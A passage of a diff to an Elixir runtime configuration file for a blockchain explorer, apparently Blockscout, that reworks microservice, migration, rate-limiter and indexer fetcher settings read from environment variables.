System.get_env("NOVES_FI_BASE_API_URL") || "https://blockscout.noves.fi", + chain_name: System.get_env("NOVES_FI_CHAIN_NAME"), + api_key: System.get_env("NOVES_FI_API_TOKEN") + +config :explorer, Explorer.ThirdPartyIntegrations.Xname, + service_url: System.get_env("XNAME_BASE_API_URL", "https://gateway.xname.app"), + api_key: System.get_env("XNAME_API_TOKEN") + +enabled? = ConfigHelper.parse_bool_env_var("MICROSERVICE_SC_VERIFIER_ENABLED", "true") +# or "eth_bytecode_db" +type = System.get_env("MICROSERVICE_SC_VERIFIER_TYPE", "sc_verifier") + +config :explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, + service_url: System.get_env("MICROSERVICE_SC_VERIFIER_URL") || "https://eth-bytecode-db.services.blockscout.com/", + enabled: enabled?, + type: type, + eth_bytecode_db?: enabled? && type == "eth_bytecode_db", + api_key: System.get_env("MICROSERVICE_SC_VERIFIER_API_KEY") + +config :explorer, Explorer.Visualize.Sol2uml, + service_url: System.get_env("MICROSERVICE_VISUALIZE_SOL2UML_URL"), + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_VISUALIZE_SOL2UML_ENABLED") + +config :explorer, Explorer.SmartContract.SigProviderInterface, + service_url: System.get_env("MICROSERVICE_SIG_PROVIDER_URL"), + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_SIG_PROVIDER_ENABLED") + +config :explorer, Explorer.MicroserviceInterfaces.BENS, + service_url: System.get_env("MICROSERVICE_BENS_URL"), + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_BENS_ENABLED") + +config :explorer, Explorer.MicroserviceInterfaces.AccountAbstraction, + service_url: System.get_env("MICROSERVICE_ACCOUNT_ABSTRACTION_URL"), + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_ACCOUNT_ABSTRACTION_ENABLED") + +config :explorer, Explorer.MicroserviceInterfaces.Metadata, + service_url: System.get_env("MICROSERVICE_METADATA_URL"), + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_METADATA_ENABLED"), + proxy_requests_timeout: ConfigHelper.parse_time_env_var("MICROSERVICE_METADATA_PROXY_REQUESTS_TIMEOUT", "30s") + +config :explorer, Explorer.SmartContract.StylusVerifierInterface, + service_url: ConfigHelper.parse_microservice_url("MICROSERVICE_STYLUS_VERIFIER_URL") + +config :explorer, Explorer.MicroserviceInterfaces.MultichainSearch, + api_key: System.get_env("MICROSERVICE_MULTICHAIN_SEARCH_API_KEY"), + service_url: microservice_multichain_search_url, + addresses_chunk_size: + ConfigHelper.parse_integer_env_var("MICROSERVICE_MULTICHAIN_SEARCH_ADDRESSES_CHUNK_SIZE", 7_000), + token_info_chunk_size: + ConfigHelper.parse_integer_env_var("MICROSERVICE_MULTICHAIN_SEARCH_TOKEN_INFO_CHUNK_SIZE", 1_000), + counters_chunk_size: ConfigHelper.parse_integer_env_var("MICROSERVICE_MULTICHAIN_SEARCH_COUNTERS_CHUNK_SIZE", 1_000) + +config :explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + enabled: ConfigHelper.parse_bool_env_var("MICROSERVICE_TAC_OPERATION_LIFECYCLE_ENABLED", "true"), + service_url: System.get_env("MICROSERVICE_TAC_OPERATION_LIFECYCLE_URL") + +audit_reports_table_url = System.get_env("CONTRACT_AUDIT_REPORTS_AIRTABLE_URL") +audit_reports_api_key = System.get_env("CONTRACT_AUDIT_REPORTS_AIRTABLE_API_KEY") + +config :explorer, :air_table_audit_reports, + table_url: audit_reports_table_url, + api_key: audit_reports_api_key, + enabled: (audit_reports_table_url && audit_reports_api_key && true) || false + +config :explorer, Explorer.Mailer, + adapter: Bamboo.SendGridAdapter, + api_key: System.get_env("ACCOUNT_SENDGRID_API_KEY") + +config :explorer, Explorer.Account, + enabled: ConfigHelper.parse_bool_env_var("ACCOUNT_ENABLED"), + sendgrid: [ + sender: System.get_env("ACCOUNT_SENDGRID_SENDER"), + template: System.get_env("ACCOUNT_SENDGRID_TEMPLATE") + ], + verification_email_resend_interval: + ConfigHelper.parse_time_env_var("ACCOUNT_VERIFICATION_EMAIL_RESEND_INTERVAL", "5m"), + otp_resend_interval: ConfigHelper.parse_time_env_var("ACCOUNT_OTP_RESEND_INTERVAL", "1m"), + private_tags_limit: ConfigHelper.parse_integer_env_var("ACCOUNT_PRIVATE_TAGS_LIMIT", 2_000), + watchlist_addresses_limit: ConfigHelper.parse_integer_env_var("ACCOUNT_WATCHLIST_ADDRESSES_LIMIT", 15), + notifications_limit_for_30_days: + ConfigHelper.parse_integer_env_var("ACCOUNT_WATCHLIST_NOTIFICATIONS_LIMIT_FOR_30_DAYS", 1_000), + siwe_message: System.get_env("ACCOUNT_SIWE_MESSAGE", "Sign in to Blockscout Account V2") + +config :explorer, Explorer.Chain.Cache.MinMissingBlockNumber, + enabled: !ConfigHelper.parse_bool_env_var("DISABLE_INDEXER"), + batch_size: ConfigHelper.parse_integer_env_var("MIN_MISSING_BLOCK_NUMBER_BATCH_SIZE", 100_000) + +config :explorer, :spandex, + batch_size: ConfigHelper.parse_integer_env_var("SPANDEX_BATCH_SIZE", 100), + sync_threshold: ConfigHelper.parse_integer_env_var("SPANDEX_SYNC_THRESHOLD", 100) + +config :explorer, :datadog, port: ConfigHelper.parse_integer_env_var("DATADOG_PORT", 8126) + +config :explorer, Explorer.Chain.Cache.TransactionActionTokensData, + max_cache_size: ConfigHelper.parse_integer_env_var("INDEXER_TX_ACTIONS_MAX_TOKEN_CACHE_SIZE", 100_000) + +config :explorer, Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand, + fetch_interval: ConfigHelper.parse_time_env_var("MICROSERVICE_ETH_BYTECODE_DB_INTERVAL_BETWEEN_LOOKUPS", "10m"), + max_concurrency: ConfigHelper.parse_integer_env_var("MICROSERVICE_ETH_BYTECODE_DB_MAX_LOOKUPS_CONCURRENCY", 10) + +config :explorer, Explorer.Chain.Transaction, + rootstock_remasc_address: System.get_env("ROOTSTOCK_REMASC_ADDRESS"), + rootstock_bridge_address: System.get_env("ROOTSTOCK_BRIDGE_ADDRESS") + +config :explorer, Explorer.Chain.Cache.Counters.AddressTabsElementsCount, + ttl: ConfigHelper.parse_time_env_var("ADDRESSES_TABS_COUNTERS_TTL", "10m") + +config :explorer, Explorer.TokenInstanceOwnerAddressMigration, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_OWNER_CONCURRENCY", 5), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_OWNER_BATCH_SIZE", 50), + enabled: ConfigHelper.parse_bool_env_var("MIGRATION_TOKEN_INSTANCE_OWNER_ENABLED") + +config :explorer, Explorer.Migrator.TransactionsDenormalization, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_TRANSACTIONS_TABLE_DENORMALIZATION_BATCH_SIZE", 500), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_TRANSACTIONS_TABLE_DENORMALIZATION_CONCURRENCY", 10) + +config :explorer, Explorer.Migrator.TokenTransferTokenType, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_TRANSFER_TOKEN_TYPE_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_TRANSFER_TOKEN_TYPE_CONCURRENCY", 1) + +config :explorer, Explorer.Migrator.SanitizeIncorrectNFTTokenTransfers, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_INCORRECT_NFT_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_INCORRECT_NFT_CONCURRENCY", 1), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_SANITIZE_INCORRECT_NFT_TIMEOUT", "0s") + +config :explorer, Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_INCORRECT_WETH_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_INCORRECT_WETH_CONCURRENCY", 1), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_SANITIZE_INCORRECT_WETH_TIMEOUT", "0s") + +config :explorer, Explorer.Migrator.ReindexInternalTransactionsWithIncompatibleStatus, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_CONCURRENCY", 1), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_TIMEOUT", "0s") + +config :explorer, Explorer.Migrator.ReindexDuplicatedInternalTransactions, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_CONCURRENCY", 1), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_TIMEOUT", "0s") + +config :explorer, Explorer.Migrator.ReindexBlocksWithMissingTransactions, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_BATCH_SIZE", 10), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_CONCURRENCY", 1), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_TIMEOUT", "0s"), + enabled: ConfigHelper.parse_bool_env_var("MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_ENABLED", "false") + +config :explorer, Explorer.Migrator.RestoreOmittedWETHTransfers, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_CONCURRENCY", 5), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_BATCH_SIZE", 50), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_TIMEOUT", "250ms") + +config :explorer, Explorer.Migrator.SanitizeDuplicatedLogIndexLogs, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_DUPLICATED_LOG_INDEX_LOGS_CONCURRENCY", 10), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_DUPLICATED_LOG_INDEX_LOGS_BATCH_SIZE", 500) + +config :explorer, Explorer.Migrator.RefetchContractCodes, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_REFETCH_CONTRACT_CODES_CONCURRENCY", 5), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_REFETCH_CONTRACT_CODES_BATCH_SIZE", 100) + +config :explorer, Explorer.Migrator.BackfillMultichainSearchDB, + concurrency: 1, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_BACKFILL_MULTICHAIN_SEARCH_BATCH_SIZE", 10) + +config :explorer, Explorer.Migrator.HeavyDbIndexOperation, + check_interval: ConfigHelper.parse_time_env_var("MIGRATION_HEAVY_INDEX_OPERATIONS_CHECK_INTERVAL", "10m") + +config :explorer, Explorer.Migrator.SanitizeVerifiedAddresses, + enabled: !ConfigHelper.parse_bool_env_var("MIGRATION_SANITIZE_VERIFIED_ADDRESSES_DISABLED"), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_VERIFIED_ADDRESSES_BATCH_SIZE", 500), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_VERIFIED_ADDRESSES_CONCURRENCY", 1), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_SANITIZE_VERIFIED_ADDRESSES_TIMEOUT", "0s") + +config :explorer, Explorer.Migrator.SanitizeEmptyContractCodeAddresses, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_EMPTY_CONTRACT_CODE_ADDRESSES_BATCH_SIZE", 500), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SANITIZE_EMPTY_CONTRACT_CODE_ADDRESSES_CONCURRENCY", 1) + +config :explorer, Explorer.Migrator.ArbitrumDaRecordsNormalization, + enabled: ConfigHelper.chain_type() == :arbitrum, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_ARBITRUM_DA_RECORDS_NORMALIZATION_BATCH_SIZE", 500), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_ARBITRUM_DA_RECORDS_NORMALIZATION_CONCURRENCY", 1) + +config :explorer, Explorer.Migrator.HeavyDbIndexOperation.CreateArbitrumBatchL2BlocksUnconfirmedBlocksIndex, + enabled: ConfigHelper.chain_type() == :arbitrum + +config :explorer, Explorer.Migrator.FilecoinPendingAddressOperations, + enabled: ConfigHelper.chain_type() == :filecoin, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_FILECOIN_PENDING_ADDRESS_OPERATIONS_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_FILECOIN_PENDING_ADDRESS_OPERATIONS_CONCURRENCY", 1) + +config :explorer, Explorer.Migrator.CeloL2Epochs, + enabled: + ConfigHelper.chain_type() == :celo && + !is_nil(celo_l2_migration_block) && + !is_nil(celo_epoch_manager_contract_address) + +config :explorer, Explorer.Chain.Cache.CeloEpochs, enabled: ConfigHelper.chain_type() == :celo + +config :explorer, Explorer.Migrator.ShrinkInternalTransactions, + enabled: ConfigHelper.parse_bool_env_var("SHRINK_INTERNAL_TRANSACTIONS_ENABLED"), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SHRINK_INTERNAL_TRANSACTIONS_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SHRINK_INTERNAL_TRANSACTIONS_CONCURRENCY", 10) + +config :explorer, Explorer.Migrator.SmartContractLanguage, + enabled: !ConfigHelper.parse_bool_env_var("MIGRATION_SMART_CONTRACT_LANGUAGE_DISABLED"), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_SMART_CONTRACT_LANGUAGE_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_SMART_CONTRACT_LANGUAGE_CONCURRENCY", 1) + +config :explorer, Explorer.Migrator.BackfillMetadataURL, + enabled: !ConfigHelper.parse_bool_env_var("MIGRATION_BACKFILL_METADATA_URL_DISABLED"), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_BACKFILL_METADATA_URL_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_BACKFILL_METADATA_URL_CONCURRENCY", 5) + +config :explorer, Explorer.Migrator.MergeAdjacentMissingBlockRanges, + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_MERGE_ADJACENT_MISSING_BLOCK_RANGES_BATCH_SIZE", 100) + +config :explorer, Explorer.Chain.BridgedToken, + eth_omni_bridge_mediator: System.get_env("BRIDGED_TOKENS_ETH_OMNI_BRIDGE_MEDIATOR"), + bsc_omni_bridge_mediator: System.get_env("BRIDGED_TOKENS_BSC_OMNI_BRIDGE_MEDIATOR"), + poa_omni_bridge_mediator: System.get_env("BRIDGED_TOKENS_POA_OMNI_BRIDGE_MEDIATOR"), + amb_bridge_mediators: System.get_env("BRIDGED_TOKENS_AMB_BRIDGE_MEDIATORS"), + foreign_json_rpc: System.get_env("BRIDGED_TOKENS_FOREIGN_JSON_RPC", "") + +config :explorer, Explorer.Utility.MissingBalanceOfToken, + window_size: ConfigHelper.parse_integer_env_var("MISSING_BALANCE_OF_TOKENS_WINDOW_SIZE", 100) + +config :explorer, Explorer.Chain.TokenTransfer, + whitelisted_weth_contracts: ConfigHelper.parse_list_env_var("WHITELISTED_WETH_CONTRACTS", ""), + weth_token_transfers_filtering_enabled: ConfigHelper.parse_bool_env_var("WETH_TOKEN_TRANSFERS_FILTERING_ENABLED") + +config :explorer, Explorer.Chain.Metrics, + enabled: ConfigHelper.parse_bool_env_var("PUBLIC_METRICS_ENABLED", "false"), + update_period_hours: ConfigHelper.parse_integer_env_var("PUBLIC_METRICS_UPDATE_PERIOD_HOURS", 24) + +config :explorer, Explorer.Chain.Filecoin.NativeAddress, + network_prefix: ConfigHelper.parse_catalog_value("FILECOIN_NETWORK_PREFIX", ["f", "t"], true, "f") + +config :explorer, Explorer.Chain.Blackfort.Validator, api_url: System.get_env("BLACKFORT_VALIDATOR_API_URL") + +addresses_blacklist_url = ConfigHelper.parse_microservice_url("ADDRESSES_BLACKLIST_URL") + +config :explorer, Explorer.Chain.Fetcher.AddressesBlacklist, + url: addresses_blacklist_url, + enabled: !is_nil(addresses_blacklist_url), + update_interval: ConfigHelper.parse_time_env_var("ADDRESSES_BLACKLIST_UPDATE_INTERVAL", "15m"), + retry_interval: ConfigHelper.parse_time_env_var("ADDRESSES_BLACKLIST_RETRY_INTERVAL", "5s"), + provider: ConfigHelper.parse_catalog_value("ADDRESSES_BLACKLIST_PROVIDER", ["blockaid"], false, "blockaid") + +rate_limiter_redis_url = System.get_env("RATE_LIMITER_REDIS_URL") + +config :explorer, Explorer.Utility.RateLimiter, + storage: (rate_limiter_redis_url && :redis) || :ets, + redis_url: rate_limiter_redis_url, + on_demand: [ + time_interval_limit: ConfigHelper.parse_time_env_var("RATE_LIMITER_ON_DEMAND_TIME_INTERVAL", "5s"), + limit_by_ip: ConfigHelper.parse_integer_env_var("RATE_LIMITER_ON_DEMAND_LIMIT_BY_IP", 50), + exp_timeout_coeff: ConfigHelper.parse_integer_env_var("RATE_LIMITER_ON_DEMAND_EXPONENTIAL_TIMEOUT_COEFF", 100), + max_ban_interval: ConfigHelper.parse_time_env_var("RATE_LIMITER_ON_DEMAND_MAX_BAN_INTERVAL", "1h"), + limitation_period: ConfigHelper.parse_time_env_var("RATE_LIMITER_ON_DEMAND_LIMITATION_PERIOD", "1h") + ], + hammer_backend_module: + if(rate_limiter_redis_url, do: Explorer.Utility.Hammer.Redis, else: Explorer.Utility.Hammer.ETS) + +config :explorer, Explorer.ThirdPartyIntegrations.UniversalProxy, + config_url: + System.get_env( + "UNIVERSAL_PROXY_CONFIG_URL", + "https://raw.githubusercontent.com/blockscout/backend-configs/refs/heads/main/universal-proxy-config.json" + ) + +config :explorer, Explorer.Chain.Mud, enabled: ConfigHelper.parse_bool_env_var("MUD_INDEXER_ENABLED") + +config :explorer, Explorer.Chain.Scroll.L1FeeParam, + curie_upgrade_block: ConfigHelper.parse_integer_env_var("SCROLL_L2_CURIE_UPGRADE_BLOCK", 0), + scalar_init: ConfigHelper.parse_integer_env_var("SCROLL_L1_SCALAR_INIT", 0), + overhead_init: ConfigHelper.parse_integer_env_var("SCROLL_L1_OVERHEAD_INIT", 0), + commit_scalar_init: ConfigHelper.parse_integer_env_var("SCROLL_L1_COMMIT_SCALAR_INIT", 0), + blob_scalar_init: ConfigHelper.parse_integer_env_var("SCROLL_L1_BLOB_SCALAR_INIT", 0), + l1_base_fee_init: ConfigHelper.parse_integer_env_var("SCROLL_L1_BASE_FEE_INIT", 0), + l1_blob_base_fee_init: ConfigHelper.parse_integer_env_var("SCROLL_L1_BLOB_BASE_FEE_INIT", 0) ############### ### Indexer ### ############### -block_transformers = %{ - "clique" => Indexer.Transform.Blocks.Clique, - "base" => Indexer.Transform.Blocks.Base -} - -# Compile time environment variable access requires recompilation. -configured_transformer = System.get_env("BLOCK_TRANSFORMER") || "base" +first_block = ConfigHelper.parse_integer_env_var("FIRST_BLOCK", 0) +last_block = ConfigHelper.parse_integer_or_nil_env_var("LAST_BLOCK") -block_transformer = - case Map.get(block_transformers, configured_transformer) do - nil -> - raise """ - No such block transformer: #{configured_transformer}. +block_ranges = ConfigHelper.safe_get_env("BLOCK_RANGES", "#{first_block}..#{last_block || "latest"}") - Valid values are: - #{Enum.join(Map.keys(block_transformers), "\n")} +trace_first_block = ConfigHelper.parse_integer_env_var("TRACE_FIRST_BLOCK", 0) +trace_last_block = ConfigHelper.parse_integer_or_nil_env_var("TRACE_LAST_BLOCK") - Please update environment variable BLOCK_TRANSFORMER accordingly. - """ - - transformer -> - transformer +trace_block_ranges = + case ConfigHelper.safe_get_env("TRACE_BLOCK_RANGES", nil) do + "" -> "#{trace_first_block}..#{trace_last_block || "latest"}" + ranges -> ranges end +disable_multichain_search_db_export_counters_queue_fetcher = + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_FETCHER") + config :indexer, - block_transformer: block_transformer, - metadata_updater_seconds_interval: - String.to_integer(System.get_env("TOKEN_METADATA_UPDATE_INTERVAL") || "#{2 * 24 * 60 * 60}"), - block_ranges: System.get_env("BLOCK_RANGES") || "", - first_block: System.get_env("FIRST_BLOCK") || "", - last_block: System.get_env("LAST_BLOCK") || "", - trace_first_block: System.get_env("TRACE_FIRST_BLOCK") || "", - trace_last_block: System.get_env("TRACE_LAST_BLOCK") || "", - fetch_rewards_way: System.get_env("FETCH_REWARDS_WAY", "trace_block") + block_transformer: ConfigHelper.block_transformer(), + chain_id: System.get_env("CHAIN_ID"), + metadata_updater_milliseconds_interval: ConfigHelper.parse_time_env_var("TOKEN_METADATA_UPDATE_INTERVAL", "48h"), + block_ranges: block_ranges, + first_block: first_block, + last_block: last_block, + trace_block_ranges: trace_block_ranges, + trace_first_block: trace_first_block, + trace_last_block: trace_last_block, + fetch_rewards_way: System.get_env("FETCH_REWARDS_WAY", "trace_block"), + memory_limit: ConfigHelper.indexer_memory_limit(), + system_memory_percentage: ConfigHelper.parse_integer_env_var("INDEXER_SYSTEM_MEMORY_PERCENTAGE", 60), + receipts_batch_size: ConfigHelper.parse_integer_env_var("INDEXER_RECEIPTS_BATCH_SIZE", 250), + receipts_concurrency: ConfigHelper.parse_integer_env_var("INDEXER_RECEIPTS_CONCURRENCY", 10), + hide_indexing_progress_alert: ConfigHelper.parse_bool_env_var("INDEXER_HIDE_INDEXING_PROGRESS_ALERT"), + fetcher_init_limit: ConfigHelper.parse_integer_env_var("INDEXER_FETCHER_INIT_QUERY_LIMIT", 100), + token_balances_fetcher_init_limit: + ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_BALANCES_FETCHER_INIT_QUERY_LIMIT", 100_000), + coin_balances_fetcher_init_limit: + ConfigHelper.parse_integer_env_var("INDEXER_COIN_BALANCES_FETCHER_INIT_QUERY_LIMIT", 2_000), + graceful_shutdown_period: ConfigHelper.parse_time_env_var("INDEXER_GRACEFUL_SHUTDOWN_PERIOD", "5m"), + internal_transactions_fetch_order: + ConfigHelper.parse_catalog_value("INDEXER_INTERNAL_TRANSACTIONS_FETCH_ORDER", ["asc", "desc"], true, "asc") + +config :indexer, :ipfs, + gateway_url: System.get_env("IPFS_GATEWAY_URL", "https://ipfs.io/ipfs"), + gateway_url_param_key: System.get_env("IPFS_GATEWAY_URL_PARAM_KEY"), + gateway_url_param_value: System.get_env("IPFS_GATEWAY_URL_PARAM_VALUE"), + gateway_url_param_location: + ConfigHelper.parse_catalog_value("IPFS_GATEWAY_URL_PARAM_LOCATION", ["query", "header"], true), + public_gateway_url: System.get_env("IPFS_PUBLIC_GATEWAY_URL", "https://ipfs.io/ipfs") + +config :indexer, Indexer.Supervisor, enabled: !ConfigHelper.parse_bool_env_var("DISABLE_INDEXER") + +config :indexer, Indexer.Fetcher.TransactionAction.Supervisor, + enabled: ConfigHelper.parse_bool_env_var("INDEXER_TX_ACTIONS_ENABLE") + +config :indexer, Indexer.Fetcher.TransactionAction, + reindex_first_block: System.get_env("INDEXER_TX_ACTIONS_REINDEX_FIRST_BLOCK"), + reindex_last_block: System.get_env("INDEXER_TX_ACTIONS_REINDEX_LAST_BLOCK"), + reindex_protocols: System.get_env("INDEXER_TX_ACTIONS_REINDEX_PROTOCOLS", ""), + aave_v3_pool: System.get_env("INDEXER_TX_ACTIONS_AAVE_V3_POOL_CONTRACT"), + uniswap_v3_factory: + ConfigHelper.safe_get_env( + "INDEXER_TX_ACTIONS_UNISWAP_V3_FACTORY_CONTRACT", + "0x1F98431c8aD98523631AE4a59f267346ea31F984" + ), + uniswap_v3_nft_position_manager: + ConfigHelper.safe_get_env( + "INDEXER_TX_ACTIONS_UNISWAP_V3_NFT_POSITION_MANAGER_CONTRACT", + "0xC36442b4a4522E871399CD717aBDD847Ab11FE88" + ) + +config :indexer, Indexer.PendingTransactionsSanitizer, + interval: ConfigHelper.parse_time_env_var("INDEXER_PENDING_TRANSACTIONS_SANITIZER_INTERVAL", "1h") config :indexer, Indexer.Fetcher.PendingTransaction.Supervisor, - disabled?: - System.get_env("ETHEREUM_JSONRPC_VARIANT") == "besu" || - System.get_env("INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER", "false") == "true" + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER") -token_balance_on_demand_fetcher_threshold_minutes = System.get_env("TOKEN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES") +config :indexer, Indexer.Fetcher.Token, concurrency: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_CONCURRENCY", 10) -token_balance_on_demand_fetcher_threshold = - case token_balance_on_demand_fetcher_threshold_minutes && - Integer.parse(token_balance_on_demand_fetcher_threshold_minutes) do - {integer, ""} -> integer - _ -> 60 - end +config :indexer, Indexer.Fetcher.TokenBalance, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_BALANCES_BATCH_SIZE", 100), + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_BALANCES_CONCURRENCY", 10), + max_refetch_interval: ConfigHelper.parse_time_env_var("INDEXER_TOKEN_BALANCES_MAX_REFETCH_INTERVAL", "168h"), + exp_timeout_coeff: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_BALANCES_EXPONENTIAL_TIMEOUT_COEFF", 100) -config :indexer, Indexer.Fetcher.TokenBalanceOnDemand, threshold: token_balance_on_demand_fetcher_threshold +config :indexer, Indexer.Fetcher.TokenCountersUpdater, + milliseconds_interval: ConfigHelper.parse_time_env_var("TOKEN_COUNTERS_UPDATE_INTERVAL", "3h") -coin_balance_on_demand_fetcher_threshold_minutes = System.get_env("COIN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD_MINUTES") +config :indexer, Indexer.Fetcher.OnDemand.TokenBalance, + threshold: ConfigHelper.parse_time_env_var("TOKEN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD", "1h"), + fallback_threshold_in_blocks: 500 -coin_balance_on_demand_fetcher_threshold = - case coin_balance_on_demand_fetcher_threshold_minutes && - Integer.parse(coin_balance_on_demand_fetcher_threshold_minutes) do - {integer, ""} -> integer - _ -> 60 - end +config :indexer, Indexer.Fetcher.OnDemand.CoinBalance, + threshold: ConfigHelper.parse_time_env_var("COIN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD", "1h"), + fallback_threshold_in_blocks: 500 + +config :indexer, Indexer.Fetcher.OnDemand.ContractCode, + threshold: ConfigHelper.parse_time_env_var("CONTRACT_CODE_ON_DEMAND_FETCHER_THRESHOLD", "5s") -config :indexer, Indexer.Fetcher.CoinBalanceOnDemand, threshold: coin_balance_on_demand_fetcher_threshold +config :indexer, Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch, + threshold: ConfigHelper.parse_time_env_var("TOKEN_INSTANCE_METADATA_REFETCH_ON_DEMAND_FETCHER_THRESHOLD", "5s") config :indexer, Indexer.Fetcher.BlockReward.Supervisor, - disabled?: System.get_env("INDEXER_DISABLE_BLOCK_REWARD_FETCHER", "false") == "true" + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_BLOCK_REWARD_FETCHER") config :indexer, Indexer.Fetcher.InternalTransaction.Supervisor, - disabled?: System.get_env("INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER", "false") == "true" + disabled?: trace_url_missing? or ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER") + +disable_coin_balances_fetcher? = ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER") -config :indexer, Indexer.Fetcher.CoinBalance.Supervisor, - disabled?: System.get_env("INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER", "false") == "true" +config :indexer, Indexer.Fetcher.CoinBalance.Catchup.Supervisor, disabled?: disable_coin_balances_fetcher? + +config :indexer, Indexer.Fetcher.CoinBalance.Realtime.Supervisor, disabled?: disable_coin_balances_fetcher? config :indexer, Indexer.Fetcher.TokenUpdater.Supervisor, - disabled?: System.get_env("INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER", "false") == "true" + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER") + +config :indexer, Indexer.Fetcher.TokenTotalSupplyUpdater.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER") + +config :indexer, Indexer.Fetcher.TokenCountersUpdater.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER") config :indexer, Indexer.Fetcher.EmptyBlocksSanitizer.Supervisor, - disabled?: System.get_env("INDEXER_DISABLE_EMPTY_BLOCK_SANITIZER", "false") == "true" + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_EMPTY_BLOCKS_SANITIZER") + 